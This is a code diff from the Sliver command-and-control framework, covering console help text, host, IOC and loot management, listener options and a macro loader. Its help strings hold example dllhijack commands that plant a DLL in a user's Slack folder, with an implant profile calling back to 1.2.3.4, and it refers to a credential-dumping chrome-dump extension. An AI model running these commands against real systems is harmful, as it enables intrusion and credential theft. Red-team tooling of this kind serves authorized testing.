Directory and file listings can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file and directory names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
@@ -334,21 +370,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
Load an extension:
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
Load an macro:
load /tmp/chrome-dump
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
chrome-dump
├── chrome-dump.dll
├── chrome-dump.so
└── manifest.json
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
{
"extensionName":"chrome-dump", // name of the extension, can be anything
"extensionCommands":[
"macroName":"chrome-dump", // name of the macro, can be anything
"macroCommands":[
{
"name":"chrome-dump", // name of the command available in the sliver client (no space)
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -360,7 +396,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
"files":{
"x64":"chrome-dump.dll",
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
}
},
{
@@ -544,6 +580,89 @@ loot --filter creds
# Display the contents of a piece of loot:
loot fetch
`
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
reactions do not support variables or logic, they simply allow you to run verbatim
commands when an event occurs. To implement complex event-based logic we recommend
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
% 20s Triggered on changes to session metadata
% 20s Triggered when a session is closed (for any reason)
% 20s Triggered when a canary is burned or created
% 20s Triggered when implants are discovered on threat intel platforms
% 20s Triggered when a new piece of loot is added to the server
% 20s Triggered when a piece of loot is removed from the server
`,
consts.SessionOpenedEvent,
consts.SessionUpdateEvent,
consts.SessionClosedEvent,
consts.CanaryEvent,
consts.WatchtowerEvent,
consts.LootAddedEvent,
consts.LootRemovedEvent,
)
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
The built-in reactions do not support variables or logic, they simply allow you to
run verbatim commands when an event occurs. To implement complex event-based logic
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]Examples:[[.Normal]]
# The command uses interactive menus to build a reaction. Simply run:
reaction set
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
% 20s Triggered on changes to session metadata
% 20s Triggered when a session is closed (for any reason)
% 20s Triggered when a canary is burned or created
% 20s Triggered when implants are discovered on threat intel platforms
% 20s Triggered when a new piece of loot is added to the server
% 20s Triggered when a piece of loot is removed from the server
`,
consts.SessionOpenedEvent,
consts.SessionUpdateEvent,
consts.SessionClosedEvent,
consts.CanaryEvent,
consts.WatchtowerEvent,
consts.LootAddedEvent,
consts.LootRemovedEvent,
)
reactionUnsetHelp = `[[.Bold]]Command:[[.Normal]] reaction unset
[[.Bold]]About:[[.Normal]] Unset/remove automated commands in reaction to event(s).
[[.Bold]]Examples:[[.Normal]]
# Remove a reaction
reaction unset --id 1
`
dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
The planted DLL will have its export directory modified to forward the exports to a reference DLL
on the remote system.
The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
supplied with the --profile flag.
[[.Bold]]Examples:[[.Normal]]
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
`
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
)
@@ -568,7 +687,7 @@ const (
// GetHelpFor - Get help string for a command
func GetHelpFor(cmdName []string) string {
if 0 < len(cmdName) {
if helpTmpl, ok := cmdHelp[strings.Join(cmdName, ".")]; ok {
if helpTmpl, ok := cmdHelp[strings.Join(cmdName, sep)]; ok {
return FormatHelpTmpl(helpTmpl)
}
}
+4
View File
@@ -0,0 +1,4 @@
Hosts
======
Command to access and manage host information.
+46
View File
@@ -0,0 +1,46 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// HostsIOCRmCmd - Remove a host from the database
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ioc, err := SelectHostIOC(host, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
+107
View File
@@ -0,0 +1,107 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// HostsIOCCmd - Remove a host from the database
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if 0 < len(host.IOCs) {
con.Printf("%s\n", hostIOCsTable(host, con))
} else {
con.Println()
con.PrintInfof("No IOCs tracked on host\n")
}
}
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleBold)
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
for _, ioc := range host.IOCs {
tw.AppendRow(table.Row{
ioc.Path,
ioc.FileHash,
})
}
return tw.Render()
}
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var iocMap = make(map[string]*clientpb.IOC)
for _, ioc := range host.IOCs {
keys = append(keys, ioc.ID)
iocMap[ioc.ID] = ioc
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
ioc := iocMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
ioc.Path,
ioc.FileHash,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select an IOC:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return iocMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+41
View File
@@ -0,0 +1,41 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// HostsRmCmd - Remove a host from the database
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostRm(context.Background(), host)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
+164
View File
@@ -0,0 +1,164 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
var (
// ErrNoHosts - No hosts in database
ErrNoHosts = errors.New("no hosts")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// HostsCmd - Main hosts command
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if 0 < len(allHosts.Hosts) {
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
} else {
con.PrintInfof("No hosts\n")
}
}
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleLight)
tw.AppendHeader(table.Row{
"Hostname",
"Operating System",
"Sessions",
"IOCs",
"Extension Data",
"ID (Short)",
})
for _, host := range hosts {
var shortID string
if len(host.HostUUID) < 8 {
shortID = host.HostUUID[:len(host.HostUUID)]
} else {
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
shortID,
})
}
return tw.Render()
}
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if 0 == len(hostSessions) {
return "None"
}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return strings.Join(sessionNumbers, ", ")
}
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return []*clientpb.Session{}
}
hostSessions := []*clientpb.Session{}
for _, session := range sessions.Sessions {
if session.UUID == hostUUID {
hostSessions = append(hostSessions, session)
}
}
return hostSessions
}
// SelectHost - Interactively select a host from the database
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var hostMap = make(map[string]*clientpb.Host)
for _, host := range allHosts.Hosts {
keys = append(keys, host.HostUUID)
hostMap[host.HostUUID] = host
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
host := hostMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
host.Hostname,
host.OSVersion,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a host:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return hostMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+5
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
@@ -57,6 +58,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -65,6 +67,7 @@ func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("%d\n", session.PID)
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -73,6 +76,7 @@ func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("%s\n", session.UID)
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -81,6 +85,7 @@ func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("%s\n", session.GID)
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -9,6 +9,7 @@ import (
"github.com/desertbit/grumble"
)
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+3
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// DNSListenerCmd - Start a DNS lisenter
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
@@ -36,11 +37,13 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
+3
View File
@@ -26,14 +26,17 @@ import (
"github.com/desertbit/grumble"
)
// HTTPListenerCmd - Start an HTTP listener
func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
+3
View File
@@ -27,9 +27,11 @@ import (
"github.com/desertbit/grumble"
)
// HTTPSListenerCmd - Start an HTTPS listener
func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
website := ctx.Flags.String("website")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
cert, key, err := getLocalCertificatePair(ctx)
@@ -43,6 +45,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
+1
View File
@@ -33,6 +33,7 @@ import (
"github.com/desertbit/grumble"
)
// JobsCmd - Manage server jobs (listeners, etc)
func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if ctx.Flags.Int("kill") != -1 {
jobKill(uint32(ctx.Flags.Int("kill")), con)
+3 -2
View File
@@ -26,13 +26,14 @@ import (
"github.com/desertbit/grumble"
)
// MTLSListenerCmd - Start an mTLS listener
func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
server := ctx.Flags.String("server")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting mTLS listener ...\n")
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: server,
Host: lhost,
Port: uint32(lport),
Persistent: ctx.Flags.Bool("persistent"),
})
+1 -1
View File
@@ -52,7 +52,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
profile := generate.GetImplantProfileByName(profileName, con)
if profile != nil {
if profile == nil {
con.PrintErrorf("Profile not found\n")
return
}
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// WGListenerCmd - Start a WireGuard listener
func WGListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
lport := uint16(ctx.Flags.Int("lport"))
nport := uint16(ctx.Flags.Int("nport"))
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// LootAddCredentialCmd - Add a credential type loot
func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
prompt := &survey.Select{
Message: "Choose a credential type:",
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// LootFetchCmd - Display the contents of or download a piece of loot
func LootFetchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
loot, err := SelectLoot(ctx, con.Rpc)
if err != nil {
+59 -1
View File
@@ -36,12 +36,16 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
var (
// ErrInvalidFileType - Invalid file type
ErrInvalidFileType = errors.New("invalid file type")
// ErrInvalidLootType - Invalid loot type
ErrInvalidLootType = errors.New("invalid loot type")
ErrNoLootFileData = errors.New("no loot file data")
// ErrNoLootFileData - No loot file data
ErrNoLootFileData = errors.New("no loot file data")
)
// AddLootFile - Add a file as loot
@@ -106,6 +110,7 @@ func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error
return err
}
// SelectCredentials - An interactive menu for the user to select a piece of loot
func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error) {
allLoot, err := con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{
Type: clientpb.LootType_LOOT_CREDENTIAL,
@@ -143,3 +148,56 @@ func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error)
}
return nil, errors.New("loot not found")
}
// SelectLoot - Interactive menu for the user to select a piece loot (all types)
func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
// Fetch data with optional filter
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
var err error
if filter == "" {
allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
lootType, err := lootTypeFromHumanStr(filter)
if err != nil {
return nil, ErrInvalidFileType
}
allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
if err != nil {
return nil, err
}
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no loot to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a piece of loot:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return allLoot.Loot[index], nil
}
}
return nil, errors.New("loot not found")
}
+1
View File
@@ -31,6 +31,7 @@ import (
"github.com/desertbit/grumble"
)
// LootAddLocalCmd - Add a local file to the server as loot
func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
localPath := ctx.Args.String("path")
if _, err := os.Stat(localPath); os.IsNotExist(err) {
+5 -54
View File
@@ -35,11 +35,10 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
// --- Loot Command ---
// LootCmd - The loot root command
func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
@@ -75,6 +74,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintLootFile - Display the contents of a piece of loot
func PrintLootFile(stdout io.Writer, loot *clientpb.Loot) {
if loot.File == nil {
return
@@ -148,6 +148,7 @@ func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
return saveTo, err
}
// PrintAllLootTable - Displays a table of all loot
func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -172,6 +173,7 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
fmt.Fprintf(stdout, outputBuf.String())
}
// PrintAllFileLootTable - Displays a table of all file loot
func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -213,6 +215,7 @@ func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
fmt.Fprintf(stdout, outputBuf.String())
}
// PrintAllCredentialLootTable - Displays a table of all credential loot
func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -263,58 +266,6 @@ func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
fmt.Fprintf(stdout, outputBuf.String())
}
func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
// Fetch data with optional filter
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
var err error
if filter == "" {
allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
lootType, err := lootTypeFromHumanStr(filter)
if err != nil {
return nil, ErrInvalidFileType
}
allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
if err != nil {
return nil, err
}
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no loot to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a piece of loot:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return allLoot.Loot[index], nil
}
}
return nil, errors.New("loot not found")
}
func lootTypeToStr(value clientpb.LootType) string {
switch value {
case clientpb.LootType_LOOT_FILE:
+1
View File
@@ -31,6 +31,7 @@ import (
"github.com/desertbit/grumble"
)
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+10 -9
View File
@@ -1,14 +1,5 @@
package loot
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
@@ -27,6 +18,16 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// LootRenameCmd - Rename a piece of loot
func LootRenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
loot, err := SelectLoot(ctx, con.Rpc)
if err != nil {
+4
View File
@@ -0,0 +1,4 @@
Extensions
===========
Wraps external DLLs/tool in Sliver console commands.
+335
View File
@@ -0,0 +1,335 @@
package macros
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]macro
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type macroFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type macroCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
MacroFiles []macroFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type macro struct {
Name string `json:"macroName"`
Commands []macroCommand `json:"macroCommands"`
Path string
}
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
